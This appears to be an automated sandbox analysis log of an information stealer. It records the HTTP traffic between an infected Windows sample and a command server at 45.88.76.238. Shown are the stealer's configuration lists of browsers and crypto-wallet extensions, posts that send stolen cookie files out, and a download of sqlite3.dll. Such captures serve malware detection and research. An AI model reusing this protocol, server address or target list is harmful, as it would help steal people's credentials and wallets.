R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 29, 2024 18:42:10.041379929 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 29, 2024 18:42:10.042526007 CET	466	OUT	POST /3b55d279dd60140c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAEHDAKECGCAKFCFIJ Host: 45.88.76.238 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 4a 2d 2d 0d 0a Data Ascii: ------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------FHDAEHDAKECGCAKFCFIJContent-Disposition: form-data; name="message"plugins------FHDAEHDAKECGCAKFCFIJ--
Oct 29, 2024 18:42:10.288482904 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 29, 2024 18:42:10.288500071 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 29, 2024 18:42:10.288511992 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 29, 2024 18:42:10.288527966 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 29, 2024 18:42:10.288626909 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 29, 2024 18:42:10.288640022 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 29, 2024 18:42:10.290616035 CET	467	OUT	POST /3b55d279dd60140c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHCFBFBAEBKJKEBGCAEH Host: 45.88.76.238 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 46 42 46 42 41 45 42 4b 4a 4b 45 42 47 43 41 45 48 2d 2d 0d 0a Data Ascii: ------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------EHCFBFBAEBKJKEBGCAEHContent-Disposition: form-data; name="message"fplugins------EHCFBFBAEBKJKEBGCAEH--
Oct 29, 2024 18:42:10.533793926 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 29, 2024 18:42:10.554231882 CET	200	OUT	POST /3b55d279dd60140c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKEBFCFIJJKKECAKJEH Host: 45.88.76.238 Content-Length: 6387 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 18:42:10.554265022 CET	6387	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 Data Ascii: ------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------CAKEBFCFIJJKKECAKJEHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 29, 2024 18:42:10.900494099 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:10 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 18:42:10.901253939 CET	91	OUT	GET /11d003c031fcb1b4/sqlite3.dll HTTP/1.1 Host: 45.88.76.238 Cache-Control: no-cache
Oct 29, 2024 18:42:11.143690109 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:11 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 29, 2024 18:42:11.143728018 CET	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 29, 2024 18:42:11.143739939 CET	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Oct 29, 2024 18:42:11.144169092 CET	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49757	45.88.76.238	80	3056	C:\Users\user\Desktop\5BQwrSLxIZ.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 18:42:24.118097067 CET	626	OUT	POST /3b55d279dd60140c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEHDAAKEHJECBFHCBKF Host: 45.88.76.238 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 44 41 41 4b 45 48 4a 45 43 42 46 48 43 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AAEHDAAKEHJECBFHCBKFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------AAEHDAAKEHJECBFHCBKF--
Oct 29, 2024 18:42:25.281610012 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 18:42:25.445456982 CET	562	OUT	POST /3b55d279dd60140c.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGH Host: 45.88.76.238 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 31 36 31 65 38 63 39 65 65 64 31 61 33 37 35 39 61 61 66 64 30 64 32 32 63 38 30 37 32 33 65 37 34 38 32 30 30 61 36 66 34 30 33 32 64 64 61 37 61 61 64 63 38 37 34 38 33 65 64 64 30 63 39 33 63 65 36 30 31 61 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="token"4161e8c9eed1a3759aafd0d22c80723e748200a6f4032dda7aadc87483edd0c93ce601ad------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="file"------HJDGCGDBGCAAEBFIECGH--
Oct 29, 2024 18:42:25.730950117 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49706	142.250.185.228	443	6508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 17:42:17 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 17:42:17 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 17:42:17 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-zuZp9uBk46Q60a9qC7i1FA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
